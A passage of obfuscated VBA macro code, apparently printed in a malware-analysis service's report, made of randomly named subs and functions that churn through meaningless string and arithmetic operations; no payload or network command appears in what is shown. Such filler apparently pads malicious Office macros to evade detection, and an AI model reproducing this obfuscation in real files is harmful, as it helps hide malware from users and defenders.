            HBCczrmdz = Space(6) + Left("Ok? wS?] rZ .eG y) P", 2)
            DGiFFS = LTrim("D  Vw]")
            nhlMZavzMZ = LTrim("JX_Kz^  ")
        Next zDICbs

        GVnCNefVnZCc = 89 + 35
        nhlMZavzMZ = RTrim("_Pxn@]VqXqb") + UCase(") $Xs q& HZkW")
        JRTptcwQJ = Right("nsp_l R", 2)
        nhlMZavzMZ = RTrim("hguSErT.DB @ig_a") + UCase(" ((%zCL  qfv")
    Next pLcZxB

    pJTZloxYq = Right("IFx m(D", 3)
    FKTLyfQV = Space(17) + Left("gNneo uzjA ", 4)
    dIGUo = 95 + 77 + 2
    DGiFFS = UCase("HHVkdp  A OM") + RTrim("p   c UW")
    yLpBIQ = UCase(" O q m#%Tmw W HU") + RTrim(" RP [ABz sS W")
    ujUSqcnqLaPR = RTrim("Lu. l) A^K l ey!I  ") + StrReverse(" @(?SmAN")
    dIGUo = RTrim("Yy jHtohqhp  - ?") + UCase("u [ ) R@[P .- FSI ")
    ujUSqcnqLaPR = LTrim("i]  Mv(_ ")
    yLpBIQ = UCase("Lb[HTyc_ C $") + RTrim("CL it$U ")
    pJTZloxYq = 97 + 64
    dIGUo = RTrim("zb Y  Lw ") + UCase("]JV_k oqvciWn L  Ymq")
    FjcWEpSEKU = Right("q axDL^ zyg] A vxO ", 3)
    zLTjL = RTrim("@-urY$p($ VXynoSl ") + StrReverse("ilH   R um^h")
    NsHVKPFFPcxu = Right("^ mp ym !", 3)
    HwCPfo = "ymGoLJZPnzBqccu"
End Function



Sub QkBexN(qINjhhD As String, tbknVtW As String, quSCEsc As Boolean)
    hxYAKfRxz = Left("r  zRM NFO(Wm(dR", 2) + LTrim("% r c EI_^j")
    JRTptcwQJ = 70 + 20 + 75 + 16
    NsHVKPFFPcxu = Space(14) + Left("N qX $d?F ", 3)
    ujUSqcnqLaPR = 31 + 23 + 13 + 8 + 14 + 14
    OXzhuboYorHC = RTrim("h] ] e Qet s RJ") + StrReverse("z]La ")
    mRnYA = RTrim(" -U Ppy.I%-") + UCase("bjT Iay aX MCzrM ")
    HBCczrmdz = UCase("iMQ @[ &[Ucxw") + RTrim("XdQ -fCnZ^y_wz?")
    eIbVaWeckegi = RTrim("bYh X") + StrReverse(" oQPDmIc He Z^")
    mRnYA = Space(6) + Left("rF  ?   R Tz $", 3)
    DGiFFS = Space(7) + Left("V!( .AxnHEsW.#", 4)
    DGiFFS = 57 - 70 - 27 - 13 - 88
    GVnCNefVnZCc = UCase("JYY- DVeg yGbOVlryv") + RTrim("AI)!BD(GD [  @?)")
    OXzhuboYorHC = Space(9) + Left("p[M[z^M B[uqU fE NC", 4)
    

    JRTptcwQJ = UCase("]@Fa&iVEjq[(FQ)ReF D") + RTrim("- hM%&F B M RQ")
    eTFXs = Space(17) + Left("[&B efE  )& Q N", 2)
    

    FKTLyfQV = RTrim("S?r bahA -k.!r N  ") + StrReverse("  p . L ]an)-SXAK")
End Sub



Attribute VB_Name = "Module6"

Sub iUSPvC(nasmvt As Integer, oWfofWD As String)
    sbyzqzgAAHu = 12 + 89 + 67 + 34 + 60 + 26
    For DlsapI = 2 To 8
        yLpBIQ = RTrim(" M KuUUedi .d   (#l") + UCase("a &t yjXgITdH")
        FKTLyfQV = Space(12) + Left("Dgr . ^WV ", 4)
        FjcWEpSEKU = Right("k rWc tHbjw #py", 4)
        GVnCNefVnZCc = Right("_fhS%.  R@ g", 4)
    Next DlsapI

    HBCczrmdz = 23 + 46
    mRnYA = LTrim("phgr  YV  K KvwD$TO")
    MQhsLRSReZi = RTrim("ddD S") + UCase("C%   Z p")
    nhlMZavzMZ = 79 - 14 - 10 - 66 - 72 - 45
    pJTZloxYq = RTrim("BE !y") + UCase("  QB ChWs IIN_  hpI")
    eTFXs = 39 - 37 - 85 - 30 - 37
    sbyzqzgAAHu = Left("dN R??zt^  tc EL h", 2) + LTrim("k#  Bw Lhcbv^(")
    While TCASJD < 3
        

        HBCczrmdz = RTrim("Njtq h%F%iBiCr) @Zw") + StrReverse(" %ZJq Nn FCCABJ@ ")
        FjcWEpSEKU = Space(15) + Left(" B[S WEzK", 2)
        dIGUo = Left("GZTyw JzD M", 2) + LTrim("Hz%V rkvNSu")
        TCASJD = TCASJD + 1
    Wend

    zUEWR = 29 - 100 - 80 - 50
    hxYAKfRxz = 95 + 39 + 69 + 93
    WNoUfL = 29 + 76 + 0
    hxYAKfRxz = 63 + 99 + 91 + 95
    OXzhuboYorHC = RTrim("y@Inc  tPyy ") + StrReverse("eowAWud(NK.Ny ")
    For sVzZmN = 2 To 8
        

        dIGUo = RTrim("yvUeolmJgNPsp rb$") + UCase("F K[I")
        hxYAKfRxz = LTrim("][O F ]eGM")
    Next sVzZmN

    yLpBIQ = UCase(" J [ j@  ]Xw") + RTrim("pj   Tf !B#VxpF")
End Sub



Sub DCtKLK(KdTblW As String, FRkaUQ As String, ezOFqht As Double)
    mRnYA = Left("z xu]f$-K-m $[DW )&", 3) + LTrim("NJ  %Q n&s  ) B?  ")
    eTFXs = RTrim("AzF# oK-_ ") + StrReverse("DTmt[ dR gtkW b#YbY")
    nhlMZavzMZ = LTrim("u @s  gO fIa ")
    OXzhuboYorHC = Left("M qWmht] s  Hvf LcD ", 4) + LTrim("Mh)iQhAME")
    hxYAKfRxz = 59 + 100 + 91 + 82 + 81
    HBCczrmdz = RTrim("XVdv ") + UCase("zBwvKb(o  &!A  o")
    NsHVKPFFPcxu = 37 - 63 - 39 - 48 - 83
    While xXgZHO < 3
        eTFXs = LTrim("dt  %  ( iopv ")
        sbyzqzgAAHu = Space(1) + Left("qYem(w e  ]  q c", 4)
        nhlMZavzMZ = RTrim("h  #@tU        ") + UCase("dQhE V")
        xXgZHO = xXgZHO + 3
    Wend

    hxYAKfRxz = Space(11) + Left("Cnhj ", 2)
    JRTptcwQJ = UCase(" Hp% oQz%$%JnH VUU") + RTrim("#]!&MciT Kngzszu")
    FjcWEpSEKU = Left("L  mRh %hS JI  $", 5) + LTrim(" AZ& M")
    pMQPHBJqxEl = LTrim("D tv#J G  _weW HP")
    dIGUo = RTrim("rL-eW g [IOk rI!m)e") + UCase("If- ]s")
    OlFIeBwnMv = Left("X]t W^# N Vm?", 4) + LTrim(" r@&! )Rb")
    yLpBIQ = UCase(".!^!TM R elp] umU") + RTrim(" eaYa e ")
End Sub



Attribute VB_Name = "Module7"

Sub msAGHo(qzZwXi As String)
    ujUSqcnqLaPR = UCase("eqAU.)  y]Njb(N&_( ") + RTrim(" l[R]tgxuQv  CL@   I")
    HBCczrmdz = 43 + 66 + 14
    ujUSqcnqLaPR = Left("vNM m]iZd   tz w R ", 4) + LTrim("Du@hO  S")
    

    dIGUo = Space(12) + Left(" V n .B TBsNqskx ", 5)
    For aNBzNG = 2 To 9
        

        mRnYA = LTrim("$? Ed# @U")
        MQhsLRSReZi = Space(11) + Left("$TJNt[VedSV.]%m e?", 2)
    Next aNBzNG

    sbyzqzgAAHu = 83 - 95 - 39 - 38 - 47 - 66
    WNoUfL = RTrim(" K$kpj  (@") + StrReverse(" k z C  r# pQLMc")
    pMQPHBJqxEl = LTrim(" eB B f")
    eTFXs = 91 + 75 + 91 + 88
    HBCczrmdz = RTrim("qvUHPreY#z]") + UCase(" _)@  DN ")
    OXzhuboYorHC = UCase("Qc    .u U&SnF") + RTrim("AU[ DW@ A nXlOh")
    OlFIeBwnMv = RTrim(" h K KeIt") + UCase("dYLQczVy if_itImKJ ")
    While MBWrgR < 5
        While rIbpWw < 3
            yLpBIQ = 52 - 40 - 46
            zLTjL = 89 - 14 - 40 - 64
            pMQPHBJqxEl = RTrim("YPbu  $- n ") + StrReverse("x!@pn -?Et")
            

            rIbpWw = rIbpWw + 2
        Wend

        pMQPHBJqxEl = Left("E% ^ D B  O? m@ L", 3) + LTrim(" A[H BAWjFAx VK fy")
        hxYAKfRxz = RTrim(" CyLWTRQPHnVJRC]k(") + UCase("ayw?w")
        GVnCNefVnZCc = Left("Bx]  K$Cib", 2) + LTrim("  %  ! ")
        MBWrgR = MBWrgR + 1
    Wend

    pJTZloxYq = LTrim("CBAHv")
    dIGUo = RTrim(" j  EU?bw") + UCase("!)h  eIqoVx Vq_ zV]j")
    eIbVaWeckegi = LTrim(" p     XpoL cy O")
End Sub



Sub CftITo(WzQYzZ As Boolean, eItGDg As Boolean, QCFjqdC As Integer)
    zUEWR = Space(18) + Left("b -&cR- RN ", 5)
    For uVksuF = 2 To 4
        For JjcXCl = 2 To 7
            ujUSqcnqLaPR = Left("jjMb_#D", 3) + LTrim("   % xXBd ) NXI&CP")
            hxYAKfRxz = 21 + 29 + 6
            eTFXs = Space(5) + Left(" P v]E]Q)  -rpqP   ", 5)
            HBCczrmdz = 17 - 56 - 44 - 16 - 6
            MQhsLRSReZi = 51 - 1 - 85 - 53
        Next JjcXCl

        

        FjcWEpSEKU = Space(8) + Left("i($JpP)iqm", 4)
        eTFXs = UCase("L #Pu)Exi@R") + RTrim("bS &sq W& Qja$  ga")
        MQhsLRSReZi = Left("f_]w ^-  X ", 4) + LTrim("gJn ivQy  _ # MjY ]")
    Next uVksuF

    

    While itGxva < 1
        dIGUo = UCase("NT m(k ") + RTrim(". Sq Sek?f_& &x")
        JRTptcwQJ = UCase("MgHq ##UCwz") + RTrim("dgkYK_[  UF cF ")
        

        

        

        itGxva = itGxva + 1
    Wend

    For DWXlml = 2 To 4
        While PEUWWL < 3
            JRTptcwQJ = 62 - 44
            OXzhuboYorHC = Right("&iC n", 2)
            HBCczrmdz = Left("pEhC  #[ Hnn", 5) + LTrim(")gK e  # )mt.")
            yLpBIQ = Left("NvF ofL  SPU ", 5) + LTrim("J E(vDr$ D] Gn% ")
            eTFXs = LTrim("fmLz@bi .O&")
            PEUWWL = PEUWWL + 2
        Wend

        zLTjL = Right("  B_$&A a ou", 3)
        OXzhuboYorHC = 38 + 50 + 7 + 54 + 33
        eTFXs = RTrim(" y   Rrid  G$QgBa- ") + UCase("W   L")
    Next DWXlml

    While vpsTtS < 5
        yLpBIQ = RTrim("?  LE  GSh! mv.Q") + StrReverse(" H CMfBm ")
        MQhsLRSReZi = RTrim("& cI  Q^?oV") + StrReverse("dZu j  wr u")
        NsHVKPFFPcxu = RTrim("   Q uH [ m") + UCase(" x ]Y( baX)Y Doqln")
        TIJZpIOZ = UCase("u Yr HsGdc") + RTrim("  !l?Az $e J%zP")
        DGiFFS = RTrim("e#[ac[k # (nwb@ ") + StrReverse("o Xx?iA dNyEAR$$H#c")
        vpsTtS = vpsTtS + 2
    Wend

    While YoeEPe < 1
        NsHVKPFFPcxu = RTrim("^vf O#CM JH XyiU@#iL") + StrReverse(" I^O%K$(YgMf FV ")
        dIGUo = 96 - 17
        OXzhuboYorHC = RTrim("ea p ?") + StrReverse(" ^Kg   @H( ww")
        dIGUo = UCase("krUs A l K") + RTrim(" w D QW i")
        YoeEPe = YoeEPe + 1
    Wend

    OlFIeBwnMv = RTrim("@  K ]zw LByiqV X") + StrReverse("QlG!t v G")
    TIJZpIOZ = LTrim("D  HS(-")
    FjcWEpSEKU = 74 + 31 + 42 + 86
    For DyIqmd = 2 To 3
        While DQTLhe < 4
            dIGUo = Left("nk.fWN", 5) + LTrim("eOmP-  w@  lV &")
            eIbVaWeckegi = LTrim("jtOee [@kx  SW")
            JRTptcwQJ = Space(7) + Left(" %[U.f", 5)
            DQTLhe = DQTLhe + 2
        Wend

        pJTZloxYq = Space(14) + Left("T ebP", 5)
        TIJZpIOZ = Left("a KaKvA)El  tjJ?q.!", 5) + LTrim("G buM tk D H RCi")
        JRTptcwQJ = Left("CUmh uDl QgLnEMhy K", 4) + LTrim(" !    @RwiZ Y")
        MQhsLRSReZi = 75 + 17 + 15 + 70 + 57 + 4
    Next DyIqmd

    OXzhuboYorHC = UCase("  ? LOuT$  D Mu? ") + RTrim("B qb  GjV GFe!Er ")
    

    

    yLpBIQ = Space(2) + Left("J HrMG Xc-I^", 4)
    eIbVaWeckegi = Space(10) + Left("!Q(&q#o nNhh@", 4)
End Sub



Sub cggBSC(Hzfknm As String, yqDshRp As String, dLCAxzb As Integer, KPIMTp As String)
    pJTZloxYq = 83 + 62 + 18 + 36 + 55 + 12
    hxYAKfRxz = 62 + 29 + 57
    zUEWR = 4 - 4
    eTFXs = LTrim("dEjR PO")
    DGiFFS = UCase("hgHlARB Tt[)  ") + RTrim("AX]fEVY  m")
    nhlMZavzMZ = RTrim(" tepx G qczcZ") + UCase("F uq  e!i_ F_Xf ")
    GVnCNefVnZCc = 80 - 42 - 3 - 46
    ujUSqcnqLaPR = LTrim("  ^   xrg_uN hEKS")
    FKTLyfQV = RTrim("fNVBbGZ Ez()   Bm ") + UCase("[YQ l   )Lk ")
    WNoUfL = UCase("CqVh N]vun C @ %F") + RTrim(" ]Q sNnP ] N(c F")
    

    eIbVaWeckegi = 100 + 51 + 73 + 100 + 70
    GVnCNefVnZCc = RTrim(" D XroVJ s il _b ") + UCase("jQW o@")
    eTFXs = Right("[e   KDN", 5)
    OXzhuboYorHC = UCase("x &?MwPo  &u S") + RTrim("j [ Y (yZnBK G  vtr")
    nhlMZavzMZ = 74 - 15
End Sub



Attribute VB_Name = "Module8"

Function MttNMH(wfoxYQG As String, ubJgej As String, NwerAOw As String, jNVZcHa As Double) As String
    zLTjL = Space(16) + Left("_MRrZ#Qv I  %", 2)
    DGiFFS = 80 + 81 + 47
    DGiFFS = RTrim("P Tm?zl") + StrReverse("!ifZS @X .qIcdmBt")
    pJTZloxYq = 18 + 25
    

    yLpBIQ = Space(11) + Left("H b q!cGDMDGJ", 5)
    mRnYA = UCase("V-L)I$Vnfaica% G ") + RTrim("X[ -RVfRP) !m")
    hxYAKfRxz = Space(13) + Left("V   Bz  ", 3)
    mRnYA = LTrim("@ X h-R $mag y f")
    JRTptcwQJ = 97 - 31 - 70 - 78 - 53 - 46
    eTFXs = 63 - 80
    eTFXs = LTrim("%LTvP QB-.a.z")
    

    TIJZpIOZ = Space(6) + Left("p E HraP  JU( ZO", 2)
    MQhsLRSReZi = RTrim("n^) yQh") + UCase("j h#O!DU^f Ym $  C")
    For hoyatq = 2 To 6
        

        

        NsHVKPFFPcxu = LTrim("C  sD Wg@fa& ")
    Next hoyatq

    

    MQhsLRSReZi = RTrim("e  Crk c$Z$ XTGn R] ") + StrReverse("z  Pnn")
    MttNMH = "DrcUqRkJdxaTfsAssp"
End Function



Attribute VB_Name = "Module9"

Function rIqqJb(OnqLsBR As String, vDODSON As Double, bZtqXh As Boolean, nNfQuKN As Boolean) As String
    While zVLUTF < 3
        While TIjfNz < 3
            GVnCNefVnZCc = RTrim("cWe&Q") + UCase("p F^IVu%")
            zUEWR = RTrim("R.n  u TqxB  u") + StrReverse(" euo bY)uNmh")
            dIGUo = Right("ZAfcGFw", 3)
            sbyzqzgAAHu = RTrim("@C[kb]?NM") + UCase("^J)UQZ z   wmE[  ")
            dIGUo = LTrim(". . _ )A ]")
            TIjfNz = TIjfNz + 2
        Wend

        MQhsLRSReZi = Right(")ldR ", 3)
        FjcWEpSEKU = Right("@?$-GtgIaccI", 5)
        TIJZpIOZ = 92 - 68
        pMQPHBJqxEl = 5 + 85 + 60 + 17 + 12
        DGiFFS = RTrim("Bpb hm  Lb)DO zwV ") + UCase("ZJ kWPN tmJZ")
        zVLUTF = zVLUTF + 2
    Wend

    For MUAEwg = 2 To 3
        For qtpaRu = 2 To 10
            GVnCNefVnZCc = 40 - 70 - 46 - 31
            DGiFFS = RTrim("! LjeVY  kdJ  OwReN") + UCase("e n BZXO. B%SUe @")
            dIGUo = Right("Ntf@U_n   ", 3)
            nhlMZavzMZ = Space(18) + Left(" gsNG-o  ^B Qk nC Uv", 3)
        Next qtpaRu

        zLTjL = Right(" J xI@ pLHO", 2)
        GVnCNefVnZCc = 75 - 34 - 17
        WNoUfL = RTrim("  c Yt]Rz&aOx") + StrReverse("Fy$u_jX[D  hPF k  -")
        zUEWR = LTrim("   u  Z  ")
    Next MUAEwg

    FjcWEpSEKU = Left(" Sk)d LvMr", 5) + LTrim("?d ! ")
    FKTLyfQV = UCase("OQW ?zaP-Vi") + RTrim(" Z s fLMpn")
    MQhsLRSReZi = RTrim("] ! TK") + UCase("gNu k")
    

    

    MQhsLRSReZi = LTrim("TM^hC )QVh NB?DN  - ")
    dIGUo = Space(8) + Left("L S^i   &SHI&l #w#", 4)
    sbyzqzgAAHu = RTrim("o$ u  -T?j w]m") + StrReverse("KdH-In!&?r#D [DJdgr ")
    While eBtHnH < 2
        While JBTTbp < 4
            pJTZloxYq = Space(1) + Left("L sK)t_PLGzh ", 3)
            JRTptcwQJ = RTrim(" n]O$VL?fDok qX") + StrReverse("B x.!u%K FQ v l")
            zUEWR = Space(16) + Left("R V nfgnOS[#EA", 3)
            OXzhuboYorHC = Left("_Cc.x]oo@I__?B", 5) + LTrim(" f $ AEC Y.]@dd& ixB")
            JBTTbp = JBTTbp + 2
        Wend

        sbyzqzgAAHu = RTrim("]__ DxYbx") + StrReverse("H#bT  wUo")
        pMQPHBJqxEl = Left("T GO- o$hWHxuF", 4) + LTrim("iA!po Vqe")
        FKTLyfQV = Right(" o J^SW  d", 2)
        hxYAKfRxz = RTrim("C xZZ hokD ar TFp") + StrReverse("tG  mZETKYPkH")
        eBtHnH = eBtHnH + 3
    Wend

    

    DGiFFS = UCase("L Lrgg ^e UZSWqF") + RTrim("qL cy  ?&X")
    mRnYA = UCase(")tu# qD?w ") + RTrim("vpv IPD.wR!G W xM")
    While FihPDA < 1
        While TAXBga < 5
            NsHVKPFFPcxu = RTrim(" _Tk @Jk[B") + UCase("s (Ph    )r l  -txg ")
            zLTjL = RTrim("!MLcHEV%I@") + StrReverse("o SKKJcxjpn#")
            GVnCNefVnZCc = 99 + 61 + 78 + 37 + 98 + 90
            pMQPHBJqxEl = RTrim("w   _@ U )(p&xTw") + StrReverse("[C & NFL fP kGE  ")
            TAXBga = TAXBga + 2
        Wend

        NsHVKPFFPcxu = 27 - 90 - 64 - 76
        hxYAKfRxz = Space(15) + Left("u] AnstL ]", 4)
        OlFIeBwnMv = 64 - 4 - 33 - 48
        FihPDA = FihPDA + 2
    Wend

    

    MQhsLRSReZi = 92 + 67 + 57 + 27 + 29
    For CPzswH = 2 To 5
        While nCXagF < 2
            pJTZloxYq = Left("OZlKeaG(", 5) + LTrim("JhV    lHs% l]%I")
            GVnCNefVnZCc = Right("%pE] (Mw  O", 5)
            HBCczrmdz = UCase("QTV  w f%h [!dh[ ") + RTrim("^ y-hkA w  q-%tmPJ ")
            TIJZpIOZ = Space(18) + Left(" F$w sU m CEs  hbo ", 2)
            nCXagF = nCXagF + 2
        Wend

        sbyzqzgAAHu = 56 - 19 - 19
        NsHVKPFFPcxu = Space(13) + Left("SI Co B  ", 3)
        DGiFFS = Space(1) + Left("Rvjn  zl Rm", 3)
    Next CPzswH

    zUEWR = 66 - 41 - 45
    NsHVKPFFPcxu = Space(12) + Left("  J[&SHuZn NG]$", 4)
    rIqqJb = "cOmhlsDDnwpSwkqWRRTq"
End Function



Function rMYwUb(aycqSzR As Integer, SZnmemt As Double, VXWpRI As String) As String
    GVnCNefVnZCc = Left("y i(TU", 2) + LTrim(".FgW ")
    NsHVKPFFPcxu = RTrim("   d?ayiIy   VvlHq") + UCase("P f?cmV&s")
    ujUSqcnqLaPR = Space(6) + Left("VBn(cWn O k L  T gK.", 3)
    JRTptcwQJ = LTrim("kyxE( oz!p X  u")
    dIGUo = 91 + 96 + 38
    JRTptcwQJ = 88 + 3 + 47 + 68 + 19 + 35
    pJTZloxYq = LTrim("Gff$CKII")
    eTFXs = Left("#b (I", 4) + LTrim(" Y%r&G$s  [ RH")
    

    

    dIGUo = RTrim(" ]JkD") + UCase("t pxA_")
    nhlMZavzMZ = LTrim(" ut U r h)")
    eTFXs = Right("SD[jT?Td  ", 2)
    While VBoNuN < 2
        DGiFFS = RTrim("Z B E NA nj&") + UCase("eer&uxIl ")
…

Open this report in the interactive analyzer, or submit your own file for analysis.